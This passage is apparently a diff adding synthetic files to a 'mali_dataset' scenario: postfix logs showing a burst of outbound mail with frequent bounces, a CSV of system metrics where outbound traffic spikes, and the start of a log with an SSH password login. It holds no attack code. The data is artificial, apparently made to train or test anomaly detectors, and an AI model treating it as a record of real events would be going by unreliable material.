325AD319E4: to=, from=, relay=web-host.org[176.244.141.230]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:05 server postfix/smtp[19357]: 8133A99312: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:06 server postfix/smtp[19356]: C3F3B93D20: to=, from=, relay=mailservice.net[134.16.164.236]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:06 server postfix/smtp[19359]: C7AF47A035: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:07 server postfix/smtp[19358]: AAB06C15EF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:08 server postfix/smtp[19360]: 59A63E775F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:12 server postfix/smtp[19361]: C2D730DD34: to=, from=, relay=business.biz[85.72.246.138]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:12 server postfix/smtp[19364]: D490DDF605: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:14 server postfix/smtp[19362]: 0FF18B6287: to=, from=, relay=mailservice.net[24.219.117.142]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:14 server postfix/smtp[19363]: 287312073C: to=, from=, relay=web-host.org[151.234.214.117]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:15 server postfix/smtp[19365]: 9B8E5A2039: to=, from=, relay=example.com[21.42.60.141]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:15 server postfix/smtp[19369]: 9633F6138C: to=, from=, relay=business.biz[254.174.199.188]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:16 server postfix/smtp[19366]: 44724DA720: to=, from=, relay=mailservice.net[90.232.210.81]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:17 server postfix/smtp[19367]: 4CAA953242: to=, from=, relay=web-host.org[83.89.171.170]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:19 server postfix/smtp[19368]: E807FEA1CD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:22 server postfix/smtp[19370]: 8A2659EDA7: to=, from=, relay=user-mail.info[158.22.53.157]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:23 server postfix/smtp[19371]: BDABD8C711: to=, from=, relay=business.biz[253.87.66.109]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:23 server postfix/smtp[19372]: 31E70E2EBA: to=, from=, relay=example.com[115.61.200.156]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:23 server postfix/smtp[19373]: E0DA017A6F: to=, from=, relay=web-host.org[54.16.56.226]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:23 server postfix/smtp[19374]: 420D1C99ED: to=, from=, relay=mailservice.net[39.51.253.195]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:25 server postfix/smtp[19378]: 886BD90CA9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:28 server postfix/smtp[19376]: B785277DD8: to=, from=, relay=web-host.org[23.227.233.95]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:28 server postfix/smtp[19377]: 30166BA2E7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:29 server postfix/smtp[19375]: 6D1E60F3D4: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:30 server postfix/smtp[19381]: E9DC025921: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:32 server postfix/smtp[19380]: F7B6E89675: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:34 server postfix/smtp[19379]: 5EC1DEB3FA: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:35 server postfix/smtp[19382]: FCF4EDC020: to=, from=, relay=web-host.org[155.112.30.179]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:35 server postfix/smtp[19384]: 8C85CF41E0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:36 server postfix/smtp[19383]: FAFF931E49: to=, from=, relay=mailservice.net[81.34.69.207]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:25:39 server postfix/smtp[19385]: 29190E296E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:40 server postfix/smtp[19388]: 6CF5A5FA16: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:44 server postfix/smtp[19386]: 68098E5B09: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:44 server postfix/smtp[19387]: 89E3E601DE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:45 server postfix/smtp[19389]: 38963DB66D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:49 server postfix/smtp[19390]: CF559F3128: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:52 server postfix/smtp[19392]: D4A2BDDB32: to=, from=, relay=user-mail.info[76.80.43.251]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:53 server postfix/smtp[19391]: 5584F43665: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:57 server postfix/smtp[19396]: 53FF2EFA6D: to=, from=, relay=business.biz[166.43.183.220]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:58 server postfix/smtp[19393]: 2802BBA621: to=, from=, relay=example.com[42.249.19.247]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:58 server postfix/smtp[19395]: 3C04817888: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:58 server postfix/smtp[19397]: 76B1EA475B: to=, from=, relay=business.biz[217.119.43.176]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:59 server postfix/smtp[19394]: B4DC4CA841: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:02 server postfix/smtp[19398]: 49CC1B2874: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:02 server postfix/smtp[19399]: E05E95B832: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:03 server postfix/smtp[19400]: 1BF5A1D599: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:04 server postfix/smtp[19401]: 6B3BAEA113: to=, from=, relay=business.biz[208.154.30.158]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:09 server postfix/smtp[19402]: 13A1D71464: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:09 server postfix/smtp[19403]: D695213B30: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:09 server postfix/smtp[19404]: 4DE00E235E: to=, from=, relay=mailservice.net[105.183.156.185]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:26:12 server postfix/smtp[19407]: 77492976DC: to=, from=, relay=example.com[243.189.154.157]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:12 server postfix/smtp[19408]: 1D2DA3CEE5: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:14 server postfix/smtp[19405]: 34B8DA60B1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:14 server postfix/smtp[19406]: 947C422EEE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:16 server postfix/smtp[19410]: 9E50630BCD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:17 server postfix/smtp[19409]: 5796882FFD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:17 server postfix/smtp[19411]: 8F1DD33CA9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:21 server postfix/smtp[19412]: 7CE54FDA39: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:22 server postfix/smtp[19414]: 1E0B09FF92: to=, from=, relay=example.com[31.140.138.181]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:23 server postfix/smtp[19413]: 1889F48E40: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:24 server postfix/smtp[19415]: 7757C47D2D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:27 server postfix/smtp[19417]: F880407AE7: to=, from=, relay=web-host.org[21.224.127.221]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:28 server postfix/smtp[19416]: 6510213E2F: to=, from=, relay=web-host.org[59.239.233.140]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:33 server postfix/smtp[19419]: FFEDAC8C26: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:33 server postfix/smtp[19420]: E0B6EB569F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:33 server postfix/smtp[19421]: 5053F4852E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:34 server postfix/smtp[19418]: D77AE28776: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:35 server postfix/smtp[19425]: A838566B48: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:36 server postfix/smtp[19422]: BF42E09EA7: to=, from=, relay=example.com[58.223.79.13]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:38 server postfix/smtp[19423]: 8CABCFDEB6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:38 server postfix/smtp[19424]: 072791224A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:38 server postfix/smtp[19426]: C74DBB6D8B: to=, from=, relay=web-host.org[54.21.185.125]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:40 server postfix/smtp[19427]: B4E77C7087: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:41 server postfix/smtp[19429]: E823CEC755: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:42 server postfix/smtp[19428]: F443FD9886: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:45 server postfix/smtp[19430]: C1FBC3B9E3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:45 server postfix/smtp[19431]: 84CFE53D43: to=, from=, relay=user-mail.info[195.124.64.215]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:26:47 server postfix/smtp[19432]: F7E302C7EA: to=, from=, relay=user-mail.info[55.192.11.168]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:26:50 server postfix/smtp[19433]: 770F6FC3F6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:52 server postfix/smtp[19436]: B40D53F95F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:53 server postfix/smtp[19435]: B5C9595A53: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:53 server postfix/smtp[19437]: 481287AB61: to=, from=, relay=example.com[254.158.145.78]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:26:54 server postfix/smtp[19434]: 489C6FD754: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:56 server postfix/smtp[19438]: D80853A989: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:26:56 server postfix/smtp[19439]: 7BC3C40F14: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:00 server postfix/smtp[19442]: C172970DA2: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:00 server postfix/smtp[19443]: 4F15448A41: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:01 server postfix/smtp[19441]: FB16A4E715: to=, from=, relay=user-mail.info[17.17.140.169]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:27:02 server postfix/smtp[19440]: B654AD3507: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:04 server postfix/smtp[19444]: 5B0D574FCC: to=, from=, relay=mailservice.net[82.162.203.64]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:27:05 server postfix/smtp[19445]: 8827C430D9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:06 server postfix/smtp[19446]: 167078F2C9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:07 server postfix/smtp[19448]: 21B9775EAB: to=, from=, relay=mailservice.net[203.192.209.77]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:27:08 server postfix/smtp[19447]: 88A86D9AB6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:10 server postfix/smtp[19449]: F1CBB3C5B1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:12 server postfix/smtp[19450]: 17DEF5D2E8: to=, from=, relay=business.biz[252.138.232.62]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:27:13 server postfix/smtp[19451]: 2228118D16: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:14 server postfix/smtp[19452]: 8AE7441664: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:16 server postfix/smtp[19454]: AB13CDE1A0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:17 server postfix/smtp[19453]: 54CA980971: to=, from=, relay=user-mail.info[228.101.242.135]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:27:17 server postfix/smtp[19455]: 89D1BBBA67: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:18 server postfix/smtp[19456]: CF26C51853: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:20 server postfix/smtp[19458]: DAA00A1052: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:20 server postfix/smtp[19459]: 2D17D15C9F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:21 server postfix/smtp[19457]: 4EBCD33C56: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:26 server postfix/smtp[19463]: AF2FEADA1E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:26 server postfix/smtp[19464]: 6CC8526042: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:27 server postfix/smtp[19462]: 32D2CEC1FF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:28 server postfix/smtp[19461]: D91C832376: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:27:29 server postfix/smtp[19460]: C813F079B3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_6.csv b/mali_dataset/scenario_5/mali_5_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..253268f9485a26296516f514514d241d60371750 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-08T14:05:00Z,17.54,43.11,15.44,0.66,1.07 +2025-08-08T14:05:05Z,15.81,41.63,15.74,1.02,0.85 +2025-08-08T14:05:10Z,19.42,44.05,24.65,0.56,0.9 +2025-08-08T14:05:15Z,15.24,35.1,24.34,0.82,1.81 +2025-08-08T14:05:20Z,17.49,37.25,18.13,1.13,1.47 +2025-08-08T14:05:25Z,18.14,41.71,21.08,1.49,2.11 +2025-08-08T14:05:30Z,18.85,39.67,20.96,1.03,2.47 +2025-08-08T14:05:35Z,13.14,40.69,18.99,0.88,1.02 +2025-08-08T14:05:40Z,11.21,43.41,16.51,0.5,1.87 +2025-08-08T14:05:45Z,11.28,37.63,21.33,1.37,1.2 +2025-08-08T14:05:50Z,14.52,37.94,16.56,1.37,2.5 +2025-08-08T14:05:55Z,19.06,36.1,20.83,0.62,1.82 +2025-08-08T14:06:00Z,11.6,38.67,21.23,0.66,0.93 +2025-08-08T14:06:05Z,12.35,36.13,17.8,1.0,1.85 +2025-08-08T14:06:10Z,15.06,36.77,18.14,1.32,1.38 +2025-08-08T14:06:15Z,16.01,43.15,20.3,0.97,2.46 +2025-08-08T14:06:20Z,19.49,43.33,19.18,1.31,1.72 +2025-08-08T14:06:25Z,14.86,43.53,17.69,1.2,2.49 +2025-08-08T14:06:30Z,14.3,37.61,15.59,1.14,1.58 +2025-08-08T14:06:35Z,14.02,43.96,20.78,0.74,2.12 +2025-08-08T14:06:40Z,52.64,43.01,28.11,1.65,34.64 +2025-08-08T14:06:45Z,63.28,45.95,23.14,1.35,42.59 +2025-08-08T14:06:50Z,68.2,41.43,27.11,0.72,49.15 +2025-08-08T14:06:55Z,64.83,43.22,22.93,1.15,47.35 +2025-08-08T14:07:00Z,60.61,47.26,22.41,1.83,20.56 +2025-08-08T14:07:05Z,25.76,42.62,20.2,1.15,44.94 +2025-08-08T14:07:10Z,24.88,44.38,18.66,1.94,32.88 +2025-08-08T14:07:15Z,69.45,42.97,25.26,1.3,30.04 +2025-08-08T14:07:20Z,45.63,41.75,21.18,0.66,28.34 +2025-08-08T14:07:25Z,23.23,45.3,29.91,1.08,43.61 +2025-08-08T14:07:30Z,49.94,49.03,24.12,0.89,35.34 +2025-08-08T14:07:35Z,70.96,43.61,27.12,0.96,31.84 +2025-08-08T14:07:40Z,37.46,41.97,18.04,1.33,28.23 +2025-08-08T14:07:45Z,66.09,42.97,26.85,1.55,25.4 +2025-08-08T14:07:50Z,25.06,43.36,18.63,0.94,49.72 +2025-08-08T14:07:55Z,74.58,43.46,29.34,1.68,48.26 +2025-08-08T14:08:00Z,51.22,42.62,29.42,1.51,43.74 +2025-08-08T14:08:05Z,74.72,46.69,21.44,0.84,40.3 +2025-08-08T14:08:10Z,20.98,40.05,28.85,1.23,32.95 +2025-08-08T14:08:15Z,50.48,44.46,26.35,0.88,21.05 +2025-08-08T14:08:20Z,42.76,44.34,21.61,0.87,47.8 +2025-08-08T14:08:25Z,68.17,49.33,29.59,1.7,44.4 +2025-08-08T14:08:30Z,42.07,46.35,19.01,0.55,39.38 +2025-08-08T14:08:35Z,56.36,45.06,24.56,1.18,40.43 +2025-08-08T14:08:40Z,25.8,46.42,25.97,1.41,43.43 +2025-08-08T14:08:45Z,49.99,46.68,20.84,1.44,29.76 +2025-08-08T14:08:50Z,50.13,46.93,25.07,1.87,27.05 +2025-08-08T14:08:55Z,28.78,48.73,18.54,1.46,46.47 +2025-08-08T14:09:00Z,71.98,49.75,29.29,1.61,41.25 +2025-08-08T14:09:05Z,40.84,48.21,29.81,1.27,45.39 +2025-08-08T14:09:10Z,30.71,49.8,18.1,1.58,28.47 +2025-08-08T14:09:15Z,69.58,40.86,18.37,1.39,36.34 +2025-08-08T14:09:20Z,48.34,46.66,20.98,0.82,23.37 +2025-08-08T14:09:25Z,56.52,40.52,28.33,1.46,36.2 +2025-08-08T14:09:30Z,34.39,48.77,29.62,1.43,26.62 +2025-08-08T14:09:35Z,60.31,46.53,29.79,1.99,24.41 +2025-08-08T14:09:40Z,51.72,41.64,20.68,1.88,22.01 +2025-08-08T14:09:45Z,73.62,42.77,22.96,0.92,46.1 +2025-08-08T14:09:50Z,50.7,43.05,22.28,1.57,25.09 +2025-08-08T14:09:55Z,37.06,49.07,19.78,0.57,28.1 +2025-08-08T14:10:00Z,62.78,41.68,28.02,0.76,27.82 +2025-08-08T14:10:05Z,37.93,41.31,18.07,0.85,35.49 +2025-08-08T14:10:10Z,53.73,41.14,21.35,1.6,26.58 +2025-08-08T14:10:15Z,55.57,41.93,21.45,1.06,45.95 +2025-08-08T14:10:20Z,70.41,41.94,22.87,0.64,37.58 +2025-08-08T14:10:25Z,31.7,42.52,26.57,1.94,48.61 +2025-08-08T14:10:30Z,46.6,48.35,26.48,1.22,31.38 +2025-08-08T14:10:35Z,39.17,46.68,23.1,1.65,31.58 +2025-08-08T14:10:40Z,34.41,41.31,21.19,1.74,50.0 +2025-08-08T14:10:45Z,21.5,49.28,20.73,1.18,32.14 +2025-08-08T14:10:50Z,51.58,49.95,29.01,0.78,37.48 +2025-08-08T14:10:55Z,33.57,46.88,25.32,1.37,40.3 +2025-08-08T14:11:00Z,33.25,41.0,29.42,1.74,29.75 +2025-08-08T14:11:05Z,50.44,40.5,21.23,1.56,48.11 +2025-08-08T14:11:10Z,36.03,40.42,21.39,1.91,46.37 +2025-08-08T14:11:15Z,56.66,42.52,22.65,0.96,31.53 +2025-08-08T14:11:20Z,69.9,46.88,24.41,1.32,32.57 +2025-08-08T14:11:25Z,55.71,45.94,25.44,0.95,24.88 +2025-08-08T14:11:30Z,74.61,43.07,29.87,1.66,30.59 +2025-08-08T14:11:35Z,61.53,49.67,18.29,0.68,26.02 +2025-08-08T14:11:40Z,57.73,41.22,21.46,1.21,31.52 +2025-08-08T14:11:45Z,62.21,42.71,22.19,0.98,23.21 +2025-08-08T14:11:50Z,54.47,48.9,21.44,1.1,44.19 +2025-08-08T14:11:55Z,44.06,49.98,23.72,0.52,26.18 +2025-08-08T14:12:00Z,29.03,40.14,23.04,1.35,41.55 +2025-08-08T14:12:05Z,59.96,48.97,21.83,1.48,44.11 +2025-08-08T14:12:10Z,27.83,49.24,22.86,1.2,24.5 +2025-08-08T14:12:15Z,46.87,47.39,21.11,1.03,26.13 +2025-08-08T14:12:20Z,49.24,49.67,27.69,1.07,46.01 +2025-08-08T14:12:25Z,41.72,41.99,24.43,1.34,32.86 diff --git a/mali_dataset/scenario_5/mali_5_6.log b/mali_dataset/scenario_5/mali_5_6.log new file mode 100644 index 0000000000000000000000000000000000000000..c962649b91089104d1035161f77151bb8606b6e2 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_6.log @@ -0,0 +1,265 @@ +Aug 08 14:05:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 08 14:05:15 server sshd[8401]: Accepted password for user admin from 254.217.19.212 port 58060 ssh2 +Aug 08 14:05:40 server CRON[9591]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 08 14:06:41 server postfix/smtp[19668]: 1371487BB7: to=, from=, relay=aspmx.l.google.com[54.222.21.186]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:41 server postfix/smtp[19670]: E8BDA13AF5: to=, from=, relay=aspmx.l.google.com[132.53.8.161]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:06:42 server postfix/smtp[19669]: C0DCF1D450: to=, from=, relay=mailservice.net[55.119.157.159]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:06:43 server postfix/smtp[19667]: A63F330F5F: to=, 